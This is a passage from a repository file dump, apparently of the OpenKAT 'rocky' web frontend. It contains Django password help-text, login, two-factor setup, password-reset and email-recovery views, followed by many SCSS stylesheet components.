    "content": "from django.conf import settings\nfrom django.utils.html import format_html, format_html_join\nfrom django.utils.safestring import mark_safe\nfrom django.utils.translation import gettext as _\n\n\ndef get_password_validators_help_texts():\n    \"\"\"\n    Set password help_texts especially for Manon.\n    \"\"\"\n    help_texts = []\n    validators = {}\n    explanation = _(\"Your password must contain at least the following but longer passwords are recommended:\")\n    for validator in settings.AUTH_PASSWORD_VALIDATORS:\n        validators.update(validator[\"OPTIONS\"])\n\n    # Get possible password restrictions and update help text.\n    # Because restriction not always set, determine if restriction is set before adding to help text.\n    min_length = str(validators.get(\"min_length\", \"\"))\n    if min_length:\n        min_length += _(\" characters\")\n    min_length_digit = str(validators.get(\"min_length_digit\", \"\"))\n    if min_length_digit:\n        min_length_digit += _(\" digits\")\n    min_length_alpha = str(validators.get(\"min_length_alpha\", \"\"))\n    if min_length_alpha:\n        min_length_alpha += _(\" letters\")\n    min_length_special = str(validators.get(\"min_length_special\", \"\"))\n    if min_length_special:\n        min_length_special += _(f\" special characters such as: {str(validators.get('special_characters',''))}\")\n    min_length_lower = str(validators.get(\"min_length_lower\", \"\"))\n    if min_length_lower:\n        min_length_lower += _(\" lower case letters\")\n    min_length_upper = str(validators.get(\"min_length_upper\", \"\"))\n    if min_length_upper:\n        min_length_upper += _(\" upper case letters\")\n    extra_information = mark_safe(\n        \"For more information on making a secure password, see: \"\n        \"<a target='_blank' href='https://veiliginternetten.nl/mijn-wachtwoord-123456/'>\"\n        \"Veilig internetten - Wat is een sterk wachtwoord?</a>\"\n    )\n    help_texts += [\n        min_length,\n        min_length_digit,\n        min_length_alpha,\n        min_length_special,\n        min_length_lower,\n        min_length_upper,\n        extra_information,\n    ]\n    # Remove empty strings, because they are not set.\n    help_texts = [help_text for help_text in help_texts if help_text]\n    help_text_builder = format_html_join(\"\", \"<li>{}</li>\", ((help_text,) for help_text in help_texts))\n    return format_html(\"<p>{}</p><ul>{}</ul>\", explanation, help_text_builder) if help_text_builder else \"\"\n"
  },
  {
    "path": "rocky/account/views/__init__.py",
    "content": "from account.views.account import *\nfrom account.views.login import *\nfrom account.views.password_reset import *\nfrom account.views.recover_email import *\n"
  },
  {
    "path": "rocky/account/views/account.py",
    "content": "from enum import Enum\n\nimport structlog\nfrom django.http import HttpRequest\nfrom django.utils.translation import gettext_lazy as _\nfrom django.views.generic import TemplateView\nfrom tools.models import OrganizationMember\n\nfrom account.mixins import OrganizationView\n\nlogger = structlog.get_logger(__name__)\n\n\nclass PageActions(Enum):\n    ACCEPT_CLEARANCE = \"accept_clearance\"\n    WITHDRAW_ACCEPTANCE = \"withdraw_acceptance\"\n\n\nclass OOIClearanceMixin:\n    request: HttpRequest\n    organization_member: OrganizationMember\n\n    def post(self, request, *args, **kwargs):\n        if \"action\" in self.request.POST:\n            self.handle_page_action(request.POST[\"action\"])\n        # Mypy doesn't have the information to understand this\n        return self.get(request, *args, **kwargs)  # type: ignore[attr-defined]\n\n    def handle_page_action(self, action: str) -> None:\n        if action == PageActions.ACCEPT_CLEARANCE.value:\n            self.organization_member.acknowledged_clearance_level = self.organization_member.trusted_clearance_level\n        elif action == PageActions.WITHDRAW_ACCEPTANCE.value:\n            self.organization_member.acknowledged_clearance_level = -1\n\n        self.organization_member.save()\n        logger.info(\n            \"Set accepted clearance level\",\n            event_code=\"900109\",\n            member=self.organization_member.id,\n            level=self.organization_member.acknowledged_clearance_level,\n        )\n\n\nclass AccountView(OrganizationView, TemplateView, OOIClearanceMixin):\n    template_name = \"account_detail.html\"\n\n    def get_context_data(self, **kwargs):\n        context = super().get_context_data(**kwargs)\n        context[\"breadcrumbs\"] = [{\"url\": \"\", \"text\": _(\"Account details\")}]\n        return context\n"
  },
  {
    "path": "rocky/account/views/login.py",
    "content": "from django.conf import settings\nfrom django.contrib.auth import get_user_model\nfrom django.contrib.auth.views import LogoutView\nfrom django.forms import ValidationError\nfrom django.shortcuts import resolve_url\nfrom django.urls import reverse\nfrom django.utils.decorators import method_decorator\nfrom django.utils.translation import gettext_lazy as _\nfrom django.views.decorators.cache import never_cache\nfrom django.views.decorators.debug import sensitive_post_parameters\nfrom two_factor.forms import MethodForm\nfrom two_factor.utils import default_device\nfrom two_factor.views import LoginView, SetupView\n\nfrom account.forms import LoginForm, TwoFactorBackupTokenForm, TwoFactorSetupTokenForm, TwoFactorVerifyTokenForm\n\nUser = get_user_model()\n\n\n@method_decorator((sensitive_post_parameters(), never_cache), name=\"dispatch\")\nclass LoginRockyView(LoginView):\n    form_list = ((\"auth\", LoginForm), (\"token\", TwoFactorVerifyTokenForm), (\"backup\", TwoFactorBackupTokenForm))\n\n    def get_form(self, step=None, **kwargs):\n        \"\"\"\n        Returns the form for the step\n        \"\"\"\n        form = super().get_form(step=step, **kwargs)\n        if (step or self.steps.current) == \"token\":\n            form = TwoFactorVerifyTokenForm(user=self.get_user(), initial_device=self.get_device(), **kwargs)\n        elif (step or self.steps.current) == \"backup\":\n            form = TwoFactorBackupTokenForm(user=self.get_user(), initial_device=self.get_device(), **kwargs)\n        if self.show_timeout_error:\n            form.cleaned_data = getattr(form, \"cleaned_data\", {})\n            form.add_error(None, ValidationError(_(\"Your session has timed out. Please login again.\")))\n        return form\n\n    def get_context_data(self, form, **kwargs):\n        context = super().get_context_data(form, **kwargs)\n        # if default device is set then the user has enabled two factor auth\n        context[\"two_factor_enabled\"] = default_device(self.request.user)\n        context[\"form_name\"] = \"login\"\n        context[\"breadcrumbs\"] = [\n            {\"url\": reverse(\"landing_page\"), \"text\": _(\"OpenKAT\")},\n            {\"url\": reverse(\"login\"), \"text\": _(\"Login\")},\n        ]\n        return context\n\n    def get_success_url(self):\n        url = self.get_redirect_url()\n        if settings.TWOFACTOR_ENABLED and default_device(self.request.user) is None:\n            url = resolve_url(\"setup\")\n        return url or resolve_url(settings.LOGIN_REDIRECT_URL)\n\n\n@method_decorator((sensitive_post_parameters(), never_cache), name=\"dispatch\")\nclass SetupRockyView(SetupView):\n    # This is set to skip the extra welcome form which is for OpenKAT a redundant step.\n    form_list = ((\"method\", MethodForm), (\"generator\", TwoFactorSetupTokenForm))\n\n    def get_context_data(self, form, **kwargs):\n        context = super().get_context_data(form, **kwargs)\n        context[\"breadcrumbs\"] = [\n            {\"url\": reverse(\"login\"), \"text\": _(\"Login\")},\n            {\"url\": reverse(\"setup\"), \"text\": _(\"Two factor authentication\")},\n        ]\n\n        return context\n\n\nclass LogoutRockyView(LogoutView):\n    next_page = \"/\"\n"
  },
  {
    "path": "rocky/account/views/password_reset.py",
    "content": "import structlog\nfrom django.conf import settings\nfrom django.contrib import messages\nfrom django.contrib.auth import views as auth_views\nfrom django.urls import reverse\nfrom django.urls.base import reverse_lazy\nfrom django.utils.translation import gettext_lazy as _\nfrom django_otp.plugins.otp_totp.models import TOTPDevice\n\nfrom account.forms import PasswordResetForm, SetPasswordForm\n\nlogger = structlog.get_logger(__name__)\n\n\nclass PasswordResetView(auth_views.PasswordResetView):\n    \"\"\"\n    Handler to reset password with user's email address\n    \"\"\"\n\n    template_name = \"password_reset.html\"\n    email_template_name = \"password_reset_email.html\"\n    subject_template_name = \"password_reset_subject.txt\"\n    form_class = PasswordResetForm\n    success_url = reverse_lazy(\"login\")\n\n    def get_context_data(self, **kwargs):\n        context = super().get_context_data(**kwargs)\n        context[\"breadcrumbs\"] = [\n            {\"url\": reverse(\"login\"), \"text\": _(\"Login\")},\n            {\"url\": reverse(\"password_reset\"), \"text\": _(\"Reset password\")},\n        ]\n\n        return context\n\n    def form_valid(self, form):\n        if self.is_smtp_valid():\n            self.add_success_notification()\n        else:\n            self.add_error_notification()\n        response = super().form_valid(form)\n        logger.info(\"User reset password\", event_code=\"900105\", user=self.request.user)\n\n        return response\n\n    def is_smtp_valid(self):\n        smtp_credentials = [settings.EMAIL_HOST, settings.EMAIL_PORT]\n        return not (\"\" in smtp_credentials or None in smtp_credentials)\n\n    def add_error_notification(self):\n        if settings.HELP_DESK_EMAIL:\n            error_message = _(\n                \"We couldn't send a password reset link. Contact \" + settings.HELP_DESK_EMAIL + \" for support.\"\n            )\n        else:\n            error_message = _(\"We couldn't send a password reset link. Contact your system administrator.\")\n        messages.add_message(self.request, messages.ERROR, error_message)\n\n    def add_success_notification(self):\n        success_message = (\n            \"We've emailed you instructions for setting your password. You should receive the email shortly!\"\n        )\n        messages.add_message(self.request, messages.SUCCESS, success_message)\n\n\nclass PasswordResetConfirmView(auth_views.PasswordResetConfirmView):\n    \"\"\"\n    Views a form so user can enter a new password and password confirmation.\n    \"\"\"\n\n    template_name = \"password_reset_confirm.html\"\n    form_class = SetPasswordForm\n    success_url = reverse_lazy(\"login\")\n\n    def get_context_data(self, **kwargs):\n        context = super().get_context_data(**kwargs)\n        context[\"breadcrumbs\"] = [\n            {\"url\": reverse(\"login\"), \"text\": \"Login\"},\n            {\"url\": \"\", \"text\": \"Confirm reset password\"},\n        ]\n        return context\n\n    def remove_twofactor_device(self):\n        \"\"\"\n        After password reset, the user must create a new 2auth token.\n        \"\"\"\n        device = TOTPDevice.objects.filter(user=self.user.pk).exists()\n        if device:\n            device = TOTPDevice.objects.get(user=self.user.pk)\n            device.delete()\n\n    def form_valid(self, form):\n        form_valid = super().form_valid(form)\n        self.remove_twofactor_device()\n        self.add_success_notification()\n        return form_valid\n\n    def add_success_notification(self):\n        success_message = \"Password reset is successfully done.\"\n        messages.add_message(self.request, messages.SUCCESS, success_message)\n"
  },
  {
    "path": "rocky/account/views/recover_email.py",
    "content": "from django.conf import settings\nfrom django.urls import reverse\nfrom django.utils.translation import gettext_lazy as _\nfrom django.views.generic import TemplateView\n\n\nclass RecoverEmailView(TemplateView):\n    \"\"\"\n    Handler for email recovery.\n    \"\"\"\n\n    template_name = \"recover_email.html\"\n\n    def get_context_data(self, **kwargs):\n        context = super().get_context_data(**kwargs)\n        context[\"help_desk_email\"] = settings.HELP_DESK_EMAIL\n        context[\"breadcrumbs\"] = [\n            {\"url\": reverse(\"login\"), \"text\": _(\"Login\")},\n            {\"url\": reverse(\"recover_email\"), \"text\": _(\"Recover email address\")},\n        ]\n        return context\n"
  },
  {
    "path": "rocky/assets/css/abstracts/alert-colors.scss",
    "content": "// Alert colors\n$grey: #cccccc;\n$offwhite: #fafafa;\n$lightgrey: #f0f0f0;\n$pink: #ca005d;\n$blue: #01689b;\n\n:root {\n  --color-alert-informative: #006fb3;\n  --color-alert-warning: #7d6900;\n  --color-alert-positive: #157b31;\n  --color-alert-negative: #c3372c;\n  --color-alert-negative-darker: #a22e25;\n}\n"
  },
  {
    "path": "rocky/assets/css/abstracts/mixins.scss",
    "content": "/// Event wrapper\n/// @author Harry Roberts\n/// @param {Bool} $self [false] - Whether or not to include current selector\n/// @link https://twitter.com/csswizardry/status/478938530342006784 Original tweet from Harry Roberts\n@mixin on-event($self: false) {\n  @if $self {\n    &,\n    &:hover,\n    &:active,\n    &:focus {\n      @content;\n    }\n  } @else {\n    &:hover,\n    &:active,\n    &:focus {\n      @content;\n    }\n  }\n}\n\n@mixin reset($type: null) {\n  @if $type == spacing {\n    margin: 0;\n    padding: 0;\n  }\n\n  @if $type == list {\n    list-style: none;\n    margin: 0;\n    padding: 0;\n\n    & > li {\n      margin: 0;\n      padding: 0;\n    }\n  }\n\n  @if $type == everything {\n    background-color: transparent;\n    border: none;\n    float: none;\n    height: auto;\n    list-style: none;\n  }\n\n  margin: 0;\n  padding: 0;\n  position: static;\n  width: auto;\n}\n"
  },
  {
    "path": "rocky/assets/css/components/action-buttons.scss",
    "content": ".action-buttons {\n  margin-top: auto;\n  align-items: center;\n  justify-content: space-between;\n\n  form {\n    width: auto;\n  }\n}\n"
  },
  {
    "path": "rocky/assets/css/components/block-indented.scss",
    "content": "$indent: 4em;\n\n.is-indented {\n  padding-left: $indent;\n  position: relative;\n\n  & > aside {\n    height: 100%;\n    left: 0;\n    position: absolute;\n    top: 0;\n    width: $indent;\n  }\n}\n"
  },
  {
    "path": "rocky/assets/css/components/button-plain.scss",
    "content": "button,\na.button,\ninput[type=\"button\"],\ninput[type=\"submit\"],\ninput[type=\"reset\"] {\n  &.plain {\n    background-color: transparent;\n    border: 0;\n    color: var(--colors-blue-600);\n    padding: 0;\n\n    &:hover {\n      color: var(--colors-blue-700);\n    }\n\n    .icon {\n      &:hover {\n        color: var(--colors-blue-700);\n      }\n    }\n  }\n}\n"
  },
  {
    "path": "rocky/assets/css/components/cat-loader.scss",
    "content": "@keyframes ball {\n  0% {\n    transform: rotate(-10deg);\n  }\n\n  100% {\n    transform: rotate(10deg);\n  }\n}\n\n@keyframes paw {\n  0% {\n    transform: rotate(20deg);\n  }\n\n  100% {\n    transform: rotate(-40deg);\n  }\n}\n\n.cat-loader-wrapper {\n  display: flex;\n  justify-content: center;\n  margin: 3rem auto;\n}\n\n.cat-loader {\n  height: 13rem;\n  position: relative;\n  width: 14rem;\n  margin: auto;\n\n  .tail {\n    left: 2rem;\n    position: absolute;\n    top: 8rem;\n  }\n\n  .ball {\n    animation: ball 1s alternate infinite ease-in-out;\n    left: 1.5rem;\n    position: absolute;\n    top: 9.5rem;\n    transform-origin: center bottom;\n  }\n\n  .head {\n    position: absolute;\n    top: 1rem;\n  }\n\n  .paw {\n    animation: paw 1s alternate infinite ease-in-out;\n    left: 2.375rem;\n    position: absolute;\n    top: 8rem;\n    transform-origin: center top;\n  }\n\n  .line {\n    left: 2rem;\n    position: absolute;\n    top: 11.5rem;\n  }\n\n  .body {\n    display: block;\n    position: absolute;\n    top: 4rem;\n  }\n\n  .ear-left {\n    left: 0.5rem;\n    position: absolute;\n  }\n\n  .ear-right {\n    left: 3rem;\n    position: absolute;\n  }\n}\n"
  },
  {
    "path": "rocky/assets/css/components/cat-paw-loader.scss",
    "content": "@keyframes blink {\n  50% {\n    opacity: 0.1;\n  }\n}\n\n.cat-paw-loader {\n  display: flex;\n  justify-content: flex-start;\n  margin: 2.5rem 0;\n\n  > img {\n    animation: 2s blink infinite;\n    display: inline-block;\n    margin-right: 0.75rem;\n    width: 1rem;\n\n    &:nth-child(2) {\n      animation-delay: 250ms;\n    }\n\n    &:nth-child(3) {\n      animation-delay: 500ms;\n    }\n\n    &:nth-child(4) {\n      animation-delay: 750ms;\n    }\n\n    &:nth-child(5) {\n      animation-delay: 1000ms;\n    }\n\n    &:nth-child(6) {\n      animation-delay: 1250ms;\n    }\n  }\n}\n"
  },
  {
    "path": "rocky/assets/css/components/chapter-numbering.scss",
    "content": "/* Chapter numbering */\n\n/* Includes parent numbers */\n.chapter-numbers {\n  counter-reset: chapter;\n\n  > * {\n    counter-reset: subchapter;\n  }\n\n  h2 {\n    &::before {\n      counter-increment: chapter;\n      content: counter(chapter) \". \";\n    }\n  }\n\n  h3 {\n    &::before {\n      counter-increment: subchapter;\n      content: counter(chapter) \".\" counter(subchapter) \" \";\n    }\n  }\n\n  &.type-a {\n    h2 {\n      &::before {\n        counter-increment: chapter;\n        content: counter(chapter, upper-alpha) \". \";\n      }\n    }\n\n    h3 {\n      &::before {\n        counter-increment: subchapter;\n        content: counter(chapter, upper-alpha) \".\" counter(subchapter) \" \";\n      }\n    }\n  }\n\n  .modal-wrapper {\n    h2::before,\n    h3::before {\n      content: none;\n      counter-increment: none;\n    }\n  }\n}\n\nol.chapter-numbers {\n  padding-left: 0;\n  list-style-position: outside;\n\n  > li {\n    list-style: none;\n    list-style-position: outside;\n\n    &::before {\n      counter-increment: chapter;\n      content: counter(chapter) \". \";\n      margin-right: 0.25rem;\n      white-space: nowrap;\n    }\n\n    > ol {\n      padding-left: 0.75rem;\n\n      > li {\n        list-style: none;\n        display: flex;\n        flex-direction: row;\n\n        &::before {\n          counter-increment: subchapter;\n          content: counter(chapter) \".\" counter(subchapter) \" \";\n          margin-right: 0.25rem;\n          white-space: nowrap;\n        }\n      }\n    }\n  }\n\n  &.type-a {\n    > li {\n      &::before {\n        counter-increment: chapter;\n        content: counter(chapter, upper-alpha) \". \";\n      }\n\n      > ol {\n        > li {\n          &::before {\n            counter-increment: subchapter;\n            content: counter(chapter, upper-alpha) \".\" counter(subchapter) \" \";\n          }\n        }\n      }\n    }\n  }\n}\n"
  },
  {
    "path": "rocky/assets/css/components/cytoscape.scss",
    "content": "/*\nCytoscape wrapper\n*/\n#cy {\n  width: 100%;\n  height: 800px;\n  display: block;\n}\n"
  },
  {
    "path": "rocky/assets/css/components/dashboard.scss",
    "content": ".dashboard {\n  display: flex;\n  flex-wrap: wrap;\n  width: 100%;\n  flex-direction: row;\n  gap: 32px;\n\n  h2,\n  h3 {\n    margin-bottom: -0.5rem; /* Reducing margin below the header due to additional space within the font */\n  }\n\n  h4,\n  h5,\n  h6 {\n    margin-bottom: -0.25rem; /* Reducing margin below the header due to additional space within the font */\n  }\n\n  > section {\n    border: 1px solid #b4b4b4;\n    border-radius: 16px;\n    padding: 24px;\n    gap: 0;\n    margin: 0;\n\n    &.width-1 {\n      width: 100%;\n\n      .dashboard-item-link {\n        margin-left: auto;\n      }\n    }\n\n    &.width-2 {\n      width: calc(50% - 1rem);\n    }\n  }\n\n  [id^=\"item-\"] {\n    .toggle-item {\n      &[data-show=\"off\"] {\n        display: none;\n      }\n    }\n\n    .toggle-item-button {\n      [data-show=\"off\"] {\n        display: none;\n      }\n\n      span {\n        display: flex;\n        gap: 0.5rem;\n      }\n    }\n  }\n\n  &-item {\n    width: 100%;\n    gap: 24px;\n\n    .header {\n      width: 100%;\n      display: flex;\n      flex-wrap: nowrap;\n      align-items: flex-start;\n      flex-direction: row;\n\n      &-group {\n        flex: 1 1 auto;\n        min-width: 0;\n        display: flex;\n        flex-direction: row;\n        flex-wrap: wrap;\n        align-items: center;\n        gap: 1rem;\n\n        &-item {\n          flex: 0 0 auto;\n          min-width: 0;\n        }\n\n        a.dashboard-item-link {\n          display: inline-block;\n          word-break: break-word;\n          max-width: 100%;\n          text-decoration: none;\n          border: 1px solid #d4d4d4;\n          border-radius: 12px;\n          padding: 8px 16px;\n\n          span.date {\n            color: var(--application-base-text-color);\n            text-decoration: none;\n          }\n\n          span.name {\n            font-weight: 600;\n          }\n        }\n      }\n\n      &-toolbar {\n        flex: 0 0 auto;\n        white-space: nowrap;\n        flex-shrink: 0;\n      }\n    }\n  }\n}\n\n#toggle-dashboard-button {\n  span {\n    display: flex;\n    gap: 0.5rem;\n  }\n\n  [data-show=\"off\"] {\n    display: none;\n  }\n}\n"
  },
  {
    "path": "rocky/assets/css/components/destructive.scss",
    "content": "@mixin destructive-text-element {\n  &.destructive {\n    color: var(--color-alert-negative);\n\n    &:hover {\n      color: var(--color-alert-negative-darker);\n    }\n  }\n}\n\n@mixin destructive-button {\n  &.destructive {\n    color: var(--colors-white);\n    background-color: var(--color-alert-negative);\n\n    &:hover {\n      background-color: var(--color-alert-negative-darker);\n    }\n\n    &.ghost {\n      color: var(--color-alert-negative);\n      background-color: var(--color-white);\n      border-color: var(--colors-grey-200);\n      border-width: 1px;\n\n      &:hover {\n        color: var(--color-alert-negative);\n        border-color: var(--color-alert-negative-darker);\n      }\n    }\n  }\n}\n\na {\n  @include destructive-text-element;\n}\n\nbutton,\na.button,\ninput[type=\"button\"],\ninput[type=\"submit\"],\ninput[type=\"reset\"] {\n  @include destructive-button;\n}\n"
  },
  {
    "path": "rocky/assets/css/components/dropdown-form.scss",
    "content": "@use \"destructive\";\n\n.dropdown {\n  form {\n    $form-padding-sides: 1rem;\n\n    background-color: transparent;\n    padding: 0.75rem $form-padding-sides 0 $form-padding-sides;\n\n    .toolbar {\n      justify-content: space-between;\n\n      a {\n        font-weight: bold;\n        text-decoration: none;\n\n        @include destructive.destructive-text-element;\n      }\n\n      button,\n      a.button,\n      input[type=\"button\"],\n      input[type=\"submit\"],\n      input[type=\"reset\"] {\n        background-color: transparent;\n        color: var(--link-text-color);\n        border: 0;\n        padding: 0;\n        min-width: 0;\n        margin: 0;\n        min-height: 0;\n        border-radius: 0;\n\n        &:hover {\n          color: var(--colors-blue-700);\n        }\n\n        @include destructive.destructive-button;\n\n        &.destructive {\n          color: var(--color-alert-negative);\n          background-color: transparent;\n\n          &:hover {\n            color: var(--color-alert-negative-darker);\n            background-color: transparent;\n          }\n        }\n      }\n    }\n\n    ul {\n      padding-left: 0;\n\n      /* Negative margin added to allow li background color to full width of the form */\n      margin-left: calc($form-padding-sides * -1);\n      margin-right: calc($form-padding-sides * -1);\n\n      li {\n        min-height: var(--collapsing-element-list-item-min-height);\n        display: flex;\n        align-items: center;\n        padding-left: $form-padding-sides;\n        padding-right: $form-padding-sides;\n\n        &:hover {\n          background-color: var(--colors-black-05);\n        }\n      }\n    }\n  }\n}\n"
  },
  {
    "path": "rocky/assets/css/components/dropdown-list.scss",
    "content": "/* Dropdown listing */\n\n.dropdown-list {\n  box-shadow: var(--language-selector-list-box-shadow);\n  border-radius: var(--language-selector-list-border-radius);\n  border-width: var(--language-selector-list-border-width);\n  border-style: var(--language-selector-list-border-style);\n  border-color: var(--language-selector-list-border-color);\n}\n"
  },
  {
    "path": "rocky/assets/css/components/dropdown.scss",
    "content": ".dropdown {\n  max-width: 100%;\n  width: auto;\n  padding: 0;\n  position: relative;\n  align-self: center;\n\n  > button,\n  > a.button {\n    white-space: nowrap;\n    text-overflow: ellipsis;\n    overflow: hidden;\n    min-width: 0;\n    display: flex;\n  }\n\n  ul {\n    li {\n      padding: 0;\n    }\n\n    button,\n    a.button {\n      padding: var(--spacing-grid-150);\n      background: transparent;\n      border-radius: unset;\n      border: 0;\n      justify-content: start;\n      font-weight: normal;\n\n      &:hover {\n        background-color: #f2f2f2;\n      }\n    }\n  }\n\n  form {\n    padding: 0;\n    gap: 0;\n  }\n\n  .dropdown-list {\n    display: none;\n    left: 0;\n    position: absolute;\n    top: 3.25rem;\n    z-index: 2;\n    width: max-content;\n    max-width: 20rem;\n    margin-block-end: 0;\n    margin-block-start: 0;\n    padding-inline-start: 0;\n    gap: 0;\n    border-radius: var(--border-radius-s);\n    border: 1px solid var(--colors-grey-200);\n    background-color: var(--colors-white);\n    max-height: 90vh;\n    overflow-x: auto;\n\n    > ul {\n      margin: 0;\n      width: 100%;\n      padding: 0;\n      background-color: var(--colors-white);\n      list-style-type: disc;\n      gap: 0;\n      border-radius: var(--border-radius-s);\n\n      &:not(:last-child) {\n        border-bottom: 1px solid var(--colors-grey-200);\n      }\n\n      li {\n        $icon-width: 1.25rem;\n\n        border-top: 1px $offwhite solid;\n        padding: 0;\n        width: 100%;\n\n        > a {\n          display: flex;\n          flex-direction: row;\n          align-items: center;\n          justify-content: flex-start;\n          gap: var(--spacing-grid-100);\n          color: var(--text-color-dark);\n          margin: 0;\n          min-height: 2.75rem;\n          padding: var(--spacing-grid-150);\n          text-decoration: none;\n          width: 100%;\n\n          .icon {\n            display: flex;\n            width: $icon-width;\n            max-height: $icon-width;\n\n            &::before {\n              color: var(--text-color-dark);\n            }\n          }\n\n          &:hover {\n            color: var(--text-color-dark);\n          }\n\n          /* Styling with subtitle */\n          &:has(> div) {\n            flex-direction: column;\n            align-items: flex-start;\n            gap: var(--spacing-grid-0);\n          }\n\n          > div {\n            display: flex;\n            flex-direction: row;\n            gap: var(--spacing-grid-100);\n            align-items: center;\n          }\n\n          .nota-bene {\n            padding-left: calc($icon-width + var(--spacing-grid-100));\n          }\n        }\n\n        &[aria-current=\"true\"] {\n          a::before {\n            content: \"\\ea5e\";\n            font-family: var(--language-selector-list-button-icon-font-family);\n            margin-left: var(--language-selector-list-button-icon-margin-left);\n            font-size: var(--language-selector-list-button-icon-font-size);\n            color: var(--language-selector-list-button-icon-text-color);\n            margin-right: 0.5rem;\n            width: 1.25rem;\n          }\n        }\n\n        &::marker {\n          content: none;\n        }\n\n        &:first-child {\n          border-top: none;\n        }\n\n        &:last-child {\n          // border-top should still inherit\n          border-left: none;\n          border-right: none;\n          border-bottom: none;\n        }\n\n        &:hover {\n          background-color: #f2f2f2;\n        }\n      }\n    }\n  }\n}\n\n.dropdown-list.left {\n  left: auto;\n  right: 0;\n}\n\n.dropdown-list {\n  [aria-expanded=\"true\"] + & {\n    display: flex;\n    flex-direction: column;\n    min-width: 100%;\n  }\n}\n"
  },
  {
    "path": "rocky/assets/css/components/filter.scss",
    "content": ".filter > div button {\n  font-weight: var(--filter-button-font-weight);\n}\n"
  },
  {
    "path": "rocky/assets/css/components/footer-logo.scss",
    "content": ".kat-logo {\n  display: flex;\n  max-width: 10rem;\n\n  img {\n    border: 4px solid white;\n    object-fit: cover;\n    overflow: hidden;\n    width: 100%;\n    background-color: white;\n  }\n}\n\n.kat-logo:hover img {\n  animation: rainbow 1s infinite;\n}\n\n@keyframes rainbow {\n  0% {\n    border-color: #ff0000;\n  }\n\n  10% {\n    border-color: #ff8000;\n  }\n\n  20% {\n    border-color: #ffff00;\n  }\n\n  30% {\n    border-color: #80ff00;\n  }\n\n  40% {\n    border-color: #00ff00;\n  }\n\n  50% {\n    border-color: #00ff80;\n  }\n\n  60% {\n    border-color: #00ffff;\n  }\n\n  70% {\n    border-color: #0080ff;\n  }\n\n  80% {\n    border-color: #0000ff;\n  }\n\n  90% {\n    border-color: #8000ff;\n  }\n\n  100% {\n    border-color: #ff0080;\n  }\n}\n\n@keyframes rainbow {\n  0% {\n    border-color: #ff0000;\n  }\n\n  10% {\n    border-color: #ff8000;\n  }\n\n  20% {\n    border-color: #ffff00;\n  }\n\n  30% {\n    border-color: #80ff00;\n  }\n\n  40% {\n    border-color: #00ff00;\n  }\n\n  50% {\n    border-color: #00ff80;\n  }\n\n  60% {\n    border-color: #00ffff;\n  }\n\n  70% {\n    border-color: #0080ff;\n  }\n\n  80% {\n    border-color: #0000ff;\n  }\n\n  90% {\n    border-color: #8000ff;\n  }\n\n  100% {\n    border-color: #ff0080;\n  }\n}\n\n@keyframes rainbow {\n  0% {\n    border-color: #ff0000;\n  }\n\n  10% {\n    border-color: #ff8000;\n  }\n\n  20% {\n    border-color: #ffff00;\n  }\n\n  30% {\n    border-color: #80ff00;\n  }\n\n  40% {\n    border-color: #00ff00;\n  }\n\n  50% {\n    border-color: #00ff80;\n  }\n\n  60% {\n    border-color: #00ffff;\n  }\n\n  70% {\n    border-color: #0080ff;\n  }\n\n  80% {\n    border-color: #0000ff;\n  }\n\n  90% {\n    border-color: #8000ff;\n  }\n\n  100% {\n    border-color: #ff0080;\n  }\n}\n\n@keyframes rainbow {\n  0% {\n    border-color: #ff0000;\n  }\n\n  10% {\n    border-color: #ff8000;\n  }\n\n  20% {\n    border-color: #ffff00;\n  }\n\n  30% {\n    border-color: #80ff00;\n  }\n\n  40% {\n    border-color: #00ff00;\n  }\n\n  50% {\n    border-color: #00ff80;\n  }\n\n  60% {\n    border-color: #00ffff;\n  }\n\n  70% {\n    border-color: #0080ff;\n  }\n\n  80% {\n    border-color: #0000ff;\n  }\n\n  90% {\n    border-color: #8000ff;\n  }\n\n  100% {\n    border-color: #ff0080;\n  }\n}\n"
  },
  {
    "path": "rocky/assets/css/components/footer.scss",
    "content": "/* Footer - Styling */\n\nbody > footer {\n  border-top: 1px solid #cccccc;\n\n  ul {\n    flex-direction: row;\n    display: flex;\n    padding: 0;\n    gap: 1.5rem;\n\n    li {\n      list-style: none;\n    }\n  }\n\n  a {\n    &:visited {\n      color: var(--footer-link-visited-text-color);\n      text-decoration: var(--footer-link-visited-text-decoration);\n\n      &:hover {\n        color: var(--footer-link-visited-hover-text-color);\n        text-decoration: var(--footer-link-visited-hovertext-decoration);\n      }\n    }\n  }\n}\n"
  },
  {
    "path": "rocky/assets/css/components/form-checkbox.scss",
    "content": "form {\n  input[type=\"checkbox\"] {\n    overflow: hidden;\n    text-overflow: ellipsis;\n\n    & + label {\n      font-weight: normal;\n    }\n\n    &:disabled {\n      opacity: 1;\n    }\n  }\n}\n"
  },
  {
    "path": "rocky/assets/css/components/form-inline.scss",
    "content": "form.layout-wide {\n  width: 100%;\n  max-width: 100%;\n}\n"
  },
  {
    "path": "rocky/assets/css/components/form.scss",
    "content": "/* Added min height for form buttons */\n\n$breakpoint-filter: 60rem;\n\nform {\n  button,\n  a.button,\n  input[type=\"button\"],\n  input[type=\"submit\"],\n  input[type=\"reset\"] {\n    min-height: 2.75rem;\n  }\n\n  .filter-fields-direction {\n    display: flex;\n\n    &.column {\n      flex-direction: column;\n    }\n  }\n\n  .input-icon {\n    position: relative;\n    display: flex;\n    flex-direction: row;\n    align-items: center;\n\n    input {\n      padding-right: 2.5rem;\n\n      &:hover {\n        border-color: var(--colors-grey-700);\n      }\n    }\n\n    .icon {\n      display: block;\n      margin-left: -1.25rem;\n      stroke: var(--colors-blue-600);\n    }\n  }\n\n  @media (min-width: $breakpoint-filter) {\n    .filter-fields-direction {\n      &.row {\n        flex-direction: row;\n      }\n    }\n  }\n}\n\n.indented-form fieldset.indented fieldset {\n  padding-left: 3rem;\n}\n\n.indented-form fieldset div {\n  padding-bottom: 0.5rem;\n}\n\n.indented-form fieldset button {\n  margin-left: 0.5rem;\n}\n"
  },
  {
    "path": "rocky/assets/css/components/header-navigation.scss",
    "content": "/* Header navigation */\n\nbody > header {\n  nav {\n    width: 100%;\n\n    &.collapsible-menu {\n      width: 100%;\n    }\n\n    .collapsing-menu {\n      width: 100%;\n      justify-content: space-between;\n    }\n\n    @media screen and (width >= 42rem) {\n      > div {\n        gap: 2rem;\n      }\n    }\n  }\n}\n"
  },
  {
    "path": "rocky/assets/css/components/hover-block.scss",
